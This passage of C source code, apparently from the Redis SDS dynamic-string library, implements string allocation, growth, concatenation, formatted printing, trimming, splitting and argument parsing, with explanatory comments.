|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_8: {
|
||||
SDS_HDR_VAR(8,s);
|
||||
sh->len = initlen;
|
||||
sh->alloc = initlen;
|
||||
*fp = type;
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_16: {
|
||||
SDS_HDR_VAR(16,s);
|
||||
sh->len = initlen;
|
||||
sh->alloc = initlen;
|
||||
*fp = type;
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_32: {
|
||||
SDS_HDR_VAR(32,s);
|
||||
sh->len = initlen;
|
||||
sh->alloc = initlen;
|
||||
*fp = type;
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_64: {
|
||||
SDS_HDR_VAR(64,s);
|
||||
sh->len = initlen;
|
||||
sh->alloc = initlen;
|
||||
*fp = type;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (initlen && init)
|
||||
memcpy(s, init, initlen);
|
||||
s[initlen] = '\0';
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Create an empty (zero length) sds string. Even in this case the string
|
||||
* always has an implicit null term. */
|
||||
sds sdsempty(void) {
|
||||
return sdsnewlen("",0);
|
||||
}
|
||||
|
||||
/* Create a new sds string starting from a null terminated C string. */
|
||||
sds sdsnew(const char *init) {
|
||||
size_t initlen = (init == NULL) ? 0 : strlen(init);
|
||||
return sdsnewlen(init, initlen);
|
||||
}
|
||||
|
||||
/* Duplicate an sds string. */
|
||||
sds sdsdup(const sds s) {
|
||||
return sdsnewlen(s, sdslen(s));
|
||||
}
|
||||
|
||||
/* Free an sds string. No operation is performed if 's' is NULL. */
|
||||
void sdsfree(sds s) {
|
||||
if (s == NULL) return;
|
||||
s_free((char*)s-sdsHdrSize(s[-1]));
|
||||
}
|
||||
|
||||
/* Set the sds string length to the length as obtained with strlen(), so
|
||||
* considering as content only up to the first null term character.
|
||||
*
|
||||
* This function is useful when the sds string is hacked manually in some
|
||||
* way, like in the following example:
|
||||
*
|
||||
* s = sdsnew("foobar");
|
||||
* s[2] = '\0';
|
||||
* sdsupdatelen(s);
|
||||
* printf("%d\n", sdslen(s));
|
||||
*
|
||||
* The output will be "2", but if we comment out the call to sdsupdatelen()
|
||||
* the output will be "6" as the string was modified but the logical length
|
||||
* remains 6 bytes. */
|
||||
void sdsupdatelen(sds s) {
|
||||
int reallen = strlen(s);
|
||||
sdssetlen(s, reallen);
|
||||
}
|
||||
|
||||
/* Modify an sds string in-place to make it empty (zero length).
|
||||
* However all the existing buffer is not discarded but set as free space
|
||||
* so that next append operations will not require allocations up to the
|
||||
* number of bytes previously available. */
|
||||
void sdsclear(sds s) {
|
||||
sdssetlen(s, 0);
|
||||
s[0] = '\0';
|
||||
}
|
||||
|
||||
/* Enlarge the free space at the end of the sds string so that the caller
|
||||
* is sure that after calling this function can overwrite up to addlen
|
||||
* bytes after the end of the string, plus one more byte for nul term.
|
||||
*
|
||||
* Note: this does not change the *length* of the sds string as returned
|
||||
* by sdslen(), but only the free buffer space we have. */
|
||||
sds sdsMakeRoomFor(sds s, size_t addlen) {
|
||||
void *sh, *newsh;
|
||||
size_t avail = sdsavail(s);
|
||||
size_t len, newlen;
|
||||
char type, oldtype = s[-1] & SDS_TYPE_MASK;
|
||||
int hdrlen;
|
||||
|
||||
/* Return ASAP if there is enough space left. */
|
||||
if (avail >= addlen) return s;
|
||||
|
||||
len = sdslen(s);
|
||||
sh = (char*)s-sdsHdrSize(oldtype);
|
||||
newlen = (len+addlen);
|
||||
if (newlen < SDS_MAX_PREALLOC)
|
||||
newlen *= 2;
|
||||
else
|
||||
newlen += SDS_MAX_PREALLOC;
|
||||
|
||||
type = sdsReqType(newlen);
|
||||
|
||||
/* Don't use type 5: the user is appending to the string and type 5 is
|
||||
* not able to remember empty space, so sdsMakeRoomFor() must be called
|
||||
* at every appending operation. */
|
||||
if (type == SDS_TYPE_5) type = SDS_TYPE_8;
|
||||
|
||||
hdrlen = sdsHdrSize(type);
|
||||
if (oldtype==type) {
|
||||
newsh = s_realloc(sh, hdrlen+newlen+1);
|
||||
if (newsh == NULL) return NULL;
|
||||
s = (char*)newsh+hdrlen;
|
||||
} else {
|
||||
/* Since the header size changes, need to move the string forward,
|
||||
* and can't use realloc */
|
||||
newsh = s_malloc(hdrlen+newlen+1);
|
||||
if (newsh == NULL) return NULL;
|
||||
memcpy((char*)newsh+hdrlen, s, len+1);
|
||||
s_free(sh);
|
||||
s = (char*)newsh+hdrlen;
|
||||
s[-1] = type;
|
||||
sdssetlen(s, len);
|
||||
}
|
||||
sdssetalloc(s, newlen);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Reallocate the sds string so that it has no free space at the end. The
|
||||
* contained string remains not altered, but next concatenation operations
|
||||
* will require a reallocation.
|
||||
*
|
||||
* After the call, the passed sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call. */
|
||||
sds sdsRemoveFreeSpace(sds s) {
|
||||
void *sh, *newsh;
|
||||
char type, oldtype = s[-1] & SDS_TYPE_MASK;
|
||||
int hdrlen;
|
||||
size_t len = sdslen(s);
|
||||
sh = (char*)s-sdsHdrSize(oldtype);
|
||||
|
||||
type = sdsReqType(len);
|
||||
hdrlen = sdsHdrSize(type);
|
||||
if (oldtype==type) {
|
||||
newsh = s_realloc(sh, hdrlen+len+1);
|
||||
if (newsh == NULL) return NULL;
|
||||
s = (char*)newsh+hdrlen;
|
||||
} else {
|
||||
newsh = s_malloc(hdrlen+len+1);
|
||||
if (newsh == NULL) return NULL;
|
||||
memcpy((char*)newsh+hdrlen, s, len+1);
|
||||
s_free(sh);
|
||||
s = (char*)newsh+hdrlen;
|
||||
s[-1] = type;
|
||||
sdssetlen(s, len);
|
||||
}
|
||||
sdssetalloc(s, len);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Return the total size of the allocation of the specifed sds string,
|
||||
* including:
|
||||
* 1) The sds header before the pointer.
|
||||
* 2) The string.
|
||||
* 3) The free buffer at the end if any.
|
||||
* 4) The implicit null term.
|
||||
*/
|
||||
size_t sdsAllocSize(sds s) {
|
||||
size_t alloc = sdsalloc(s);
|
||||
return sdsHdrSize(s[-1])+alloc+1;
|
||||
}
|
||||
|
||||
/* Return the pointer of the actual SDS allocation (normally SDS strings
|
||||
* are referenced by the start of the string buffer). */
|
||||
void *sdsAllocPtr(sds s) {
|
||||
return (void*) (s-sdsHdrSize(s[-1]));
|
||||
}
|
||||
|
||||
/* Increment the sds length and decrements the left free space at the
|
||||
* end of the string according to 'incr'. Also set the null term
|
||||
* in the new end of the string.
|
||||
*
|
||||
* This function is used in order to fix the string length after the
|
||||
* user calls sdsMakeRoomFor(), writes something after the end of
|
||||
* the current string, and finally needs to set the new length.
|
||||
*
|
||||
* Note: it is possible to use a negative increment in order to
|
||||
* right-trim the string.
|
||||
*
|
||||
* Usage example:
|
||||
*
|
||||
* Using sdsIncrLen() and sdsMakeRoomFor() it is possible to mount the
|
||||
* following schema, to cat bytes coming from the kernel to the end of an
|
||||
* sds string without copying into an intermediate buffer:
|
||||
*
|
||||
* oldlen = sdslen(s);
|
||||
* s = sdsMakeRoomFor(s, BUFFER_SIZE);
|
||||
* nread = read(fd, s+oldlen, BUFFER_SIZE);
|
||||
* ... check for nread <= 0 and handle it ...
|
||||
* sdsIncrLen(s, nread);
|
||||
*/
|
||||
void sdsIncrLen(sds s, int incr) {
|
||||
unsigned char flags = s[-1];
|
||||
size_t len;
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5: {
|
||||
unsigned char *fp = ((unsigned char*)s)-1;
|
||||
unsigned char oldlen = SDS_TYPE_5_LEN(flags);
|
||||
assert((incr > 0 && oldlen+incr < 32) || (incr < 0 && oldlen >= (unsigned int)(-incr)));
|
||||
*fp = SDS_TYPE_5 | ((oldlen+incr) << SDS_TYPE_BITS);
|
||||
len = oldlen+incr;
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_8: {
|
||||
SDS_HDR_VAR(8,s);
|
||||
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
|
||||
len = (sh->len += incr);
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_16: {
|
||||
SDS_HDR_VAR(16,s);
|
||||
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
|
||||
len = (sh->len += incr);
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_32: {
|
||||
SDS_HDR_VAR(32,s);
|
||||
assert((incr >= 0 && sh->alloc-sh->len >= (unsigned int)incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
|
||||
len = (sh->len += incr);
|
||||
break;
|
||||
}
|
||||
case SDS_TYPE_64: {
|
||||
SDS_HDR_VAR(64,s);
|
||||
assert((incr >= 0 && sh->alloc-sh->len >= (uint64_t)incr) || (incr < 0 && sh->len >= (uint64_t)(-incr)));
|
||||
len = (sh->len += incr);
|
||||
break;
|
||||
}
|
||||
default: len = 0; /* Just to avoid compilation warnings. */
|
||||
}
|
||||
s[len] = '\0';
|
||||
}
|
||||
|
||||
/* Grow the sds to have the specified length. Bytes that were not part of
|
||||
* the original length of the sds will be set to zero.
|
||||
*
|
||||
* if the specified length is smaller than the current length, no operation
|
||||
* is performed. */
|
||||
sds sdsgrowzero(sds s, size_t len) {
|
||||
size_t curlen = sdslen(s);
|
||||
|
||||
if (len <= curlen) return s;
|
||||
s = sdsMakeRoomFor(s,len-curlen);
|
||||
if (s == NULL) return NULL;
|
||||
|
||||
/* Make sure added region doesn't contain garbage */
|
||||
memset(s+curlen,0,(len-curlen+1)); /* also set trailing \0 byte */
|
||||
sdssetlen(s, len);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Append the specified binary-safe string pointed by 't' of 'len' bytes to the
|
||||
* end of the specified sds string 's'.
|
||||
*
|
||||
* After the call, the passed sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call. */
|
||||
sds sdscatlen(sds s, const void *t, size_t len) {
|
||||
size_t curlen = sdslen(s);
|
||||
|
||||
s = sdsMakeRoomFor(s,len);
|
||||
if (s == NULL) return NULL;
|
||||
memcpy(s+curlen, t, len);
|
||||
sdssetlen(s, curlen+len);
|
||||
s[curlen+len] = '\0';
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Append the specified null termianted C string to the sds string 's'.
|
||||
*
|
||||
* After the call, the passed sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call. */
|
||||
sds sdscat(sds s, const char *t) {
|
||||
return sdscatlen(s, t, strlen(t));
|
||||
}
|
||||
|
||||
/* Append the specified sds 't' to the existing sds 's'.
|
||||
*
|
||||
* After the call, the modified sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call. */
|
||||
sds sdscatsds(sds s, const sds t) {
|
||||
return sdscatlen(s, t, sdslen(t));
|
||||
}
|
||||
|
||||
/* Destructively modify the sds string 's' to hold the specified binary
|
||||
* safe string pointed by 't' of length 'len' bytes. */
|
||||
sds sdscpylen(sds s, const char *t, size_t len) {
|
||||
if (sdsalloc(s) < len) {
|
||||
s = sdsMakeRoomFor(s,len-sdslen(s));
|
||||
if (s == NULL) return NULL;
|
||||
}
|
||||
memcpy(s, t, len);
|
||||
s[len] = '\0';
|
||||
sdssetlen(s, len);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Like sdscpylen() but 't' must be a null-termined string so that the length
|
||||
* of the string is obtained with strlen(). */
|
||||
sds sdscpy(sds s, const char *t) {
|
||||
return sdscpylen(s, t, strlen(t));
|
||||
}
|
||||
|
||||
/* Helper for sdscatlonglong() doing the actual number -> string
|
||||
* conversion. 's' must point to a string with room for at least
|
||||
* SDS_LLSTR_SIZE bytes.
|
||||
*
|
||||
* The function returns the length of the null-terminated string
|
||||
* representation stored at 's'. */
|
||||
#define SDS_LLSTR_SIZE 21
|
||||
int sdsll2str(char *s, long long value) {
|
||||
char *p, aux;
|
||||
unsigned long long v;
|
||||
size_t l;
|
||||
|
||||
/* Generate the string representation, this method produces
|
||||
* an reversed string. */
|
||||
v = (value < 0) ? -value : value;
|
||||
p = s;
|
||||
do {
|
||||
*p++ = '0'+(v%10);
|
||||
v /= 10;
|
||||
} while(v);
|
||||
if (value < 0) *p++ = '-';
|
||||
|
||||
/* Compute length and add null term. */
|
||||
l = p-s;
|
||||
*p = '\0';
|
||||
|
||||
/* Reverse the string. */
|
||||
p--;
|
||||
while(s < p) {
|
||||
aux = *s;
|
||||
*s = *p;
|
||||
*p = aux;
|
||||
s++;
|
||||
p--;
|
||||
}
|
||||
return l;
|
||||
}
|
||||
|
||||
/* Identical sdsll2str(), but for unsigned long long type. */
|
||||
int sdsull2str(char *s, unsigned long long v) {
|
||||
char *p, aux;
|
||||
size_t l;
|
||||
|
||||
/* Generate the string representation, this method produces
|
||||
* an reversed string. */
|
||||
p = s;
|
||||
do {
|
||||
*p++ = '0'+(v%10);
|
||||
v /= 10;
|
||||
} while(v);
|
||||
|
||||
/* Compute length and add null term. */
|
||||
l = p-s;
|
||||
*p = '\0';
|
||||
|
||||
/* Reverse the string. */
|
||||
p--;
|
||||
while(s < p) {
|
||||
aux = *s;
|
||||
*s = *p;
|
||||
*p = aux;
|
||||
s++;
|
||||
p--;
|
||||
}
|
||||
return l;
|
||||
}
|
||||
|
||||
/* Create an sds string from a long long value. It is much faster than:
|
||||
*
|
||||
* sdscatprintf(sdsempty(),"%lld\n", value);
|
||||
*/
|
||||
sds sdsfromlonglong(long long value) {
|
||||
char buf[SDS_LLSTR_SIZE];
|
||||
int len = sdsll2str(buf,value);
|
||||
|
||||
return sdsnewlen(buf,len);
|
||||
}
|
||||
|
||||
/* Like sdscatprintf() but gets va_list instead of being variadic. */
|
||||
sds sdscatvprintf(sds s, const char *fmt, va_list ap) {
|
||||
va_list cpy;
|
||||
char staticbuf[1024], *buf = staticbuf, *t;
|
||||
size_t buflen = strlen(fmt)*2;
|
||||
|
||||
/* We try to start using a static buffer for speed.
|
||||
* If not possible we revert to heap allocation. */
|
||||
if (buflen > sizeof(staticbuf)) {
|
||||
buf = s_malloc(buflen);
|
||||
if (buf == NULL) return NULL;
|
||||
} else {
|
||||
buflen = sizeof(staticbuf);
|
||||
}
|
||||
|
||||
/* Try with buffers two times bigger every time we fail to
|
||||
* fit the string in the current buffer size. */
|
||||
while(1) {
|
||||
buf[buflen-2] = '\0';
|
||||
va_copy(cpy,ap);
|
||||
vsnprintf(buf, buflen, fmt, cpy);
|
||||
va_end(cpy);
|
||||
if (buf[buflen-2] != '\0') {
|
||||
if (buf != staticbuf) s_free(buf);
|
||||
buflen *= 2;
|
||||
buf = s_malloc(buflen);
|
||||
if (buf == NULL) return NULL;
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
/* Finally concat the obtained string to the SDS string and return it. */
|
||||
t = sdscat(s, buf);
|
||||
if (buf != staticbuf) s_free(buf);
|
||||
return t;
|
||||
}
|
||||
|
||||
/* Append to the sds string 's' a string obtained using printf-alike format
|
||||
* specifier.
|
||||
*
|
||||
* After the call, the modified sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* s = sdsnew("Sum is: ");
|
||||
* s = sdscatprintf(s,"%d+%d = %d",a,b,a+b).
|
||||
*
|
||||
* Often you need to create a string from scratch with the printf-alike
|
||||
* format. When this is the need, just use sdsempty() as the target string:
|
||||
*
|
||||
* s = sdscatprintf(sdsempty(), "... your format ...", args);
|
||||
*/
|
||||
sds sdscatprintf(sds s, const char *fmt, ...) {
|
||||
va_list ap;
|
||||
char *t;
|
||||
va_start(ap, fmt);
|
||||
t = sdscatvprintf(s,fmt,ap);
|
||||
va_end(ap);
|
||||
return t;
|
||||
}
|
||||
|
||||
/* This function is similar to sdscatprintf, but much faster as it does
|
||||
* not rely on sprintf() family functions implemented by the libc that
|
||||
* are often very slow. Moreover directly handling the sds string as
|
||||
* new data is concatenated provides a performance improvement.
|
||||
*
|
||||
* However this function only handles an incompatible subset of printf-alike
|
||||
* format specifiers:
|
||||
*
|
||||
* %s - C String
|
||||
* %S - SDS string
|
||||
* %i - signed int
|
||||
* %I - 64 bit signed integer (long long, int64_t)
|
||||
* %u - unsigned int
|
||||
* %U - 64 bit unsigned integer (unsigned long long, uint64_t)
|
||||
* %% - Verbatim "%" character.
|
||||
*/
|
||||
sds sdscatfmt(sds s, char const *fmt, ...) {
|
||||
size_t initlen = sdslen(s);
|
||||
const char *f = fmt;
|
||||
int i;
|
||||
va_list ap;
|
||||
|
||||
va_start(ap,fmt);
|
||||
f = fmt; /* Next format specifier byte to process. */
|
||||
i = initlen; /* Position of the next byte to write to dest str. */
|
||||
while(*f) {
|
||||
char next, *str;
|
||||
size_t l;
|
||||
long long num;
|
||||
unsigned long long unum;
|
||||
|
||||
/* Make sure there is always space for at least 1 char. */
|
||||
if (sdsavail(s)==0) {
|
||||
s = sdsMakeRoomFor(s,1);
|
||||
}
|
||||
|
||||
switch(*f) {
|
||||
case '%':
|
||||
next = *(f+1);
|
||||
f++;
|
||||
switch(next) {
|
||||
case 's':
|
||||
case 'S':
|
||||
str = va_arg(ap,char*);
|
||||
l = (next == 's') ? strlen(str) : sdslen(str);
|
||||
if (sdsavail(s) < l) {
|
||||
s = sdsMakeRoomFor(s,l);
|
||||
}
|
||||
memcpy(s+i,str,l);
|
||||
sdsinclen(s,l);
|
||||
i += l;
|
||||
break;
|
||||
case 'i':
|
||||
case 'I':
|
||||
if (next == 'i')
|
||||
num = va_arg(ap,int);
|
||||
else
|
||||
num = va_arg(ap,long long);
|
||||
{
|
||||
char buf[SDS_LLSTR_SIZE];
|
||||
l = sdsll2str(buf,num);
|
||||
if (sdsavail(s) < l) {
|
||||
s = sdsMakeRoomFor(s,l);
|
||||
}
|
||||
memcpy(s+i,buf,l);
|
||||
sdsinclen(s,l);
|
||||
i += l;
|
||||
}
|
||||
break;
|
||||
case 'u':
|
||||
case 'U':
|
||||
if (next == 'u')
|
||||
unum = va_arg(ap,unsigned int);
|
||||
else
|
||||
unum = va_arg(ap,unsigned long long);
|
||||
{
|
||||
char buf[SDS_LLSTR_SIZE];
|
||||
l = sdsull2str(buf,unum);
|
||||
if (sdsavail(s) < l) {
|
||||
s = sdsMakeRoomFor(s,l);
|
||||
}
|
||||
memcpy(s+i,buf,l);
|
||||
sdsinclen(s,l);
|
||||
i += l;
|
||||
}
|
||||
break;
|
||||
default: /* Handle %% and generally %<unknown>. */
|
||||
s[i++] = next;
|
||||
sdsinclen(s,1);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
s[i++] = *f;
|
||||
sdsinclen(s,1);
|
||||
break;
|
||||
}
|
||||
f++;
|
||||
}
|
||||
va_end(ap);
|
||||
|
||||
/* Add null-term */
|
||||
s[i] = '\0';
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Remove the part of the string from left and from right composed just of
|
||||
* contiguous characters found in 'cset', that is a null terminted C string.
|
||||
*
|
||||
* After the call, the modified sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* s = sdsnew("AA...AA.a.aa.aHelloWorld :::");
|
||||
* s = sdstrim(s,"Aa. :");
|
||||
* printf("%s\n", s);
|
||||
*
|
||||
* Output will be just "Hello World".
|
||||
*/
|
||||
sds sdstrim(sds s, const char *cset) {
|
||||
char *start, *end, *sp, *ep;
|
||||
size_t len;
|
||||
|
||||
sp = start = s;
|
||||
ep = end = s+sdslen(s)-1;
|
||||
while(sp <= end && strchr(cset, *sp)) sp++;
|
||||
while(ep > sp && strchr(cset, *ep)) ep--;
|
||||
len = (sp > ep) ? 0 : ((ep-sp)+1);
|
||||
if (s != sp) memmove(s, sp, len);
|
||||
s[len] = '\0';
|
||||
sdssetlen(s,len);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Turn the string into a smaller (or equal) string containing only the
|
||||
* substring specified by the 'start' and 'end' indexes.
|
||||
*
|
||||
* start and end can be negative, where -1 means the last character of the
|
||||
* string, -2 the penultimate character, and so forth.
|
||||
*
|
||||
* The interval is inclusive, so the start and end characters will be part
|
||||
* of the resulting string.
|
||||
*
|
||||
* The string is modified in-place.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* s = sdsnew("Hello World");
|
||||
* sdsrange(s,1,-1); => "ello World"
|
||||
*/
|
||||
void sdsrange(sds s, int start, int end) {
|
||||
size_t newlen, len = sdslen(s);
|
||||
|
||||
if (len == 0) return;
|
||||
if (start < 0) {
|
||||
start = len+start;
|
||||
if (start < 0) start = 0;
|
||||
}
|
||||
if (end < 0) {
|
||||
end = len+end;
|
||||
if (end < 0) end = 0;
|
||||
}
|
||||
newlen = (start > end) ? 0 : (end-start)+1;
|
||||
if (newlen != 0) {
|
||||
if (start >= (signed)len) {
|
||||
newlen = 0;
|
||||
} else if (end >= (signed)len) {
|
||||
end = len-1;
|
||||
newlen = (start > end) ? 0 : (end-start)+1;
|
||||
}
|
||||
} else {
|
||||
start = 0;
|
||||
}
|
||||
if (start && newlen) memmove(s, s+start, newlen);
|
||||
s[newlen] = 0;
|
||||
sdssetlen(s,newlen);
|
||||
}
|
||||
|
||||
/* Apply tolower() to every character of the sds string 's'. */
|
||||
void sdstolower(sds s) {
|
||||
int len = sdslen(s), j;
|
||||
|
||||
for (j = 0; j < len; j++) s[j] = tolower(s[j]);
|
||||
}
|
||||
|
||||
/* Apply toupper() to every character of the sds string 's'. */
|
||||
void sdstoupper(sds s) {
|
||||
int len = sdslen(s), j;
|
||||
|
||||
for (j = 0; j < len; j++) s[j] = toupper(s[j]);
|
||||
}
|
||||
|
||||
/* Compare two sds strings s1 and s2 with memcmp().
|
||||
*
|
||||
* Return value:
|
||||
*
|
||||
* positive if s1 > s2.
|
||||
* negative if s1 < s2.
|
||||
* 0 if s1 and s2 are exactly the same binary string.
|
||||
*
|
||||
* If two strings share exactly the same prefix, but one of the two has
|
||||
* additional characters, the longer string is considered to be greater than
|
||||
* the smaller one. */
|
||||
int sdscmp(const sds s1, const sds s2) {
|
||||
size_t l1, l2, minlen;
|
||||
int cmp;
|
||||
|
||||
l1 = sdslen(s1);
|
||||
l2 = sdslen(s2);
|
||||
minlen = (l1 < l2) ? l1 : l2;
|
||||
cmp = memcmp(s1,s2,minlen);
|
||||
if (cmp == 0) return l1-l2;
|
||||
return cmp;
|
||||
}
|
||||
|
||||
/* Split 's' with separator in 'sep'. An array
|
||||
* of sds strings is returned. *count will be set
|
||||
* by reference to the number of tokens returned.
|
||||
*
|
||||
* On out of memory, zero length string, zero length
|
||||
* separator, NULL is returned.
|
||||
*
|
||||
* Note that 'sep' is able to split a string using
|
||||
* a multi-character separator. For example
|
||||
* sdssplit("foo_-_bar","_-_"); will return two
|
||||
* elements "foo" and "bar".
|
||||
*
|
||||
* This version of the function is binary-safe but
|
||||
* requires length arguments. sdssplit() is just the
|
||||
* same function but for zero-terminated strings.
|
||||
*/
|
||||
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count) {
|
||||
int elements = 0, slots = 5, start = 0, j;
|
||||
sds *tokens;
|
||||
|
||||
if (seplen < 1 || len < 0) return NULL;
|
||||
|
||||
tokens = s_malloc(sizeof(sds)*slots);
|
||||
if (tokens == NULL) return NULL;
|
||||
|
||||
if (len == 0) {
|
||||
*count = 0;
|
||||
return tokens;
|
||||
}
|
||||
for (j = 0; j < (len-(seplen-1)); j++) {
|
||||
/* make sure there is room for the next element and the final one */
|
||||
if (slots < elements+2) {
|
||||
sds *newtokens;
|
||||
|
||||
slots *= 2;
|
||||
newtokens = s_realloc(tokens,sizeof(sds)*slots);
|
||||
if (newtokens == NULL) goto cleanup;
|
||||
tokens = newtokens;
|
||||
}
|
||||
/* search the separator */
|
||||
if ((seplen == 1 && *(s+j) == sep[0]) || (memcmp(s+j,sep,seplen) == 0)) {
|
||||
tokens[elements] = sdsnewlen(s+start,j-start);
|
||||
if (tokens[elements] == NULL) goto cleanup;
|
||||
elements++;
|
||||
start = j+seplen;
|
||||
j = j+seplen-1; /* skip the separator */
|
||||
}
|
||||
}
|
||||
/* Add the final element. We are sure there is room in the tokens array. */
|
||||
tokens[elements] = sdsnewlen(s+start,len-start);
|
||||
if (tokens[elements] == NULL) goto cleanup;
|
||||
elements++;
|
||||
*count = elements;
|
||||
return tokens;
|
||||
|
||||
cleanup:
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < elements; i++) sdsfree(tokens[i]);
|
||||
s_free(tokens);
|
||||
*count = 0;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
/* Free the result returned by sdssplitlen(), or do nothing if 'tokens' is NULL. */
|
||||
void sdsfreesplitres(sds *tokens, int count) {
|
||||
if (!tokens) return;
|
||||
while(count--)
|
||||
sdsfree(tokens[count]);
|
||||
s_free(tokens);
|
||||
}
|
||||
|
||||
/* Append to the sds string "s" an escaped string representation where
|
||||
* all the non-printable characters (tested with isprint()) are turned into
|
||||
* escapes in the form "\n\r\a...." or "\x<hex-number>".
|
||||
*
|
||||
* After the call, the modified sds string is no longer valid and all the
|
||||
* references must be substituted with the new pointer returned by the call. */
|
||||
sds sdscatrepr(sds s, const char *p, size_t len) {
|
||||
s = sdscatlen(s,"\"",1);
|
||||
while(len--) {
|
||||
switch(*p) {
|
||||
case '\\':
|
||||
case '"':
|
||||
s = sdscatprintf(s,"\\%c",*p);
|
||||
break;
|
||||
case '\n': s = sdscatlen(s,"\\n",2); break;
|
||||
case '\r': s = sdscatlen(s,"\\r",2); break;
|
||||
case '\t': s = sdscatlen(s,"\\t",2); break;
|
||||
case '\a': s = sdscatlen(s,"\\a",2); break;
|
||||
case '\b': s = sdscatlen(s,"\\b",2); break;
|
||||
default:
|
||||
if (isprint(*p))
|
||||
s = sdscatprintf(s,"%c",*p);
|
||||
else
|
||||
s = sdscatprintf(s,"\\x%02x",(unsigned char)*p);
|
||||
break;
|
||||
}
|
||||
p++;
|
||||
}
|
||||
return sdscatlen(s,"\"",1);
|
||||
}
|
||||
|
||||
/* Helper function for sdssplitargs() that returns non zero if 'c'
|
||||
* is a valid hex digit. */
|
||||
int is_hex_digit(char c) {
|
||||
return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') ||
|
||||
(c >= 'A' && c <= 'F');
|
||||
}
|
||||
|
||||
/* Helper function for sdssplitargs() that converts a hex digit into an
|
||||
* integer from 0 to 15 */
|
||||
int hex_digit_to_int(char c) {
|
||||
switch(c) {
|
||||
case '0': return 0;
|
||||
case '1': return 1;
|
||||
case '2': return 2;
|
||||
case '3': return 3;
|
||||
case '4': return 4;
|
||||
case '5': return 5;
|
||||
case '6': return 6;
|
||||
case '7': return 7;
|
||||
case '8': return 8;
|
||||
case '9': return 9;
|
||||
case 'a': case 'A': return 10;
|
||||
case 'b': case 'B': return 11;
|
||||
case 'c': case 'C': return 12;
|
||||
case 'd': case 'D': return 13;
|
||||
case 'e': case 'E': return 14;
|
||||
case 'f': case 'F': return 15;
|
||||
default: return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Split a line into arguments, where every argument can be in the
|
||||
* following programming-language REPL-alike form:
|
||||
*
|
||||
* foo bar "newline are supported\n" and "\xff\x00otherstuff"
|
||||
*
|
||||
* The number of arguments is stored into *argc, and an array
|
||||
* of sds is returned.
|
||||
*
|
||||
* The caller should free the resulting array of sds strings with
|
||||
* sdsfreesplitres().
|
||||
*
|
||||
* Note that sdscatrepr() is able to convert back a string into
|
||||
* a quoted string in the same format sdssplitargs() is able to parse.
|
||||
*
|
||||
* The function returns the allocated tokens on success, even when the
|
||||
* input string is empty, or NULL if the input contains unbalanced
|
||||
* quotes or closed quotes followed by non space characters
|
||||
* as in: "foo"bar or "foo'
|
||||
*/
|
||||
sds *sdssplitargs(const char *line, int *argc) {
|
||||
const char *p = line;
|
||||
char *current = NULL;
|
||||
char **vector = NULL;
|
||||
|
||||
*argc = 0;
|
||||
while(1) {
|
||||
/* skip blanks */
|
||||
while(*p && isspace(*p)) p++;
|
||||
if (*p) {
|
||||
/* get a token */
|
||||
int inq=0; /* set to 1 if we are in "quotes" */
|
||||
int insq=0; /* set to 1 if we are in 'single quotes' */
|
||||
int done=0;
|
||||
|
||||
if (current == NULL) current = sdsempty();
|
||||
while(!done) {
|
||||
if (inq) {
|
||||
if (*p == '\\' && *(p+1) == 'x' &&
|
||||
is_hex_digit(*(p+2)) &&
|
||||
is_hex_digit(*(p+3)))
|
||||
{
|
||||
unsigned char byte;
|
||||
|
||||
byte = (hex_digit_to_int(*(p+2))*16)+
|
||||
hex_digit_to_int(*(p+3));
|
||||
current = sdscatlen(current,(char*)&byte,1);
|
||||
p += 3;
|
||||
} else if (*p == '\\' && *(p+1)) {
|
||||
char c;
|
||||
|
||||
p++;
|
||||
switch(*p) {
|
||||
case 'n': c = '\n'; break;
|
||||
case 'r': c = '\r'; break;
|
||||
case 't': c = '\t'; break;
|
||||
case 'b': c = '\b'; break;
|
||||
case 'a': c = '\a'; break;
|
||||
default: c = *p; break;
|
||||
}
|
||||
current = sdscatlen(current,&c,1);
|
||||
} else if (*p == '"') {
|
||||
/* closing quote must be followed by a space or
|
||||
* nothing at all. */
|
||||
if (*(p+1) && !isspace(*(p+1))) goto err;
|
||||
done=1;
|
||||
} else if (!*p) {
|
||||
/* unterminated quotes */
|
||||
goto err;
|
||||
} else {
|
||||
current = sdscatlen(current,p,1);
|
||||
}
|
||||
} else if (insq) {
|
||||
if (*p == '\\' && *(p+1) == '\'') {
|
||||
p++;
|
||||
current = sdscatlen(current,"'",1);
|
||||
} else if (*p == '\'') {
|
||||
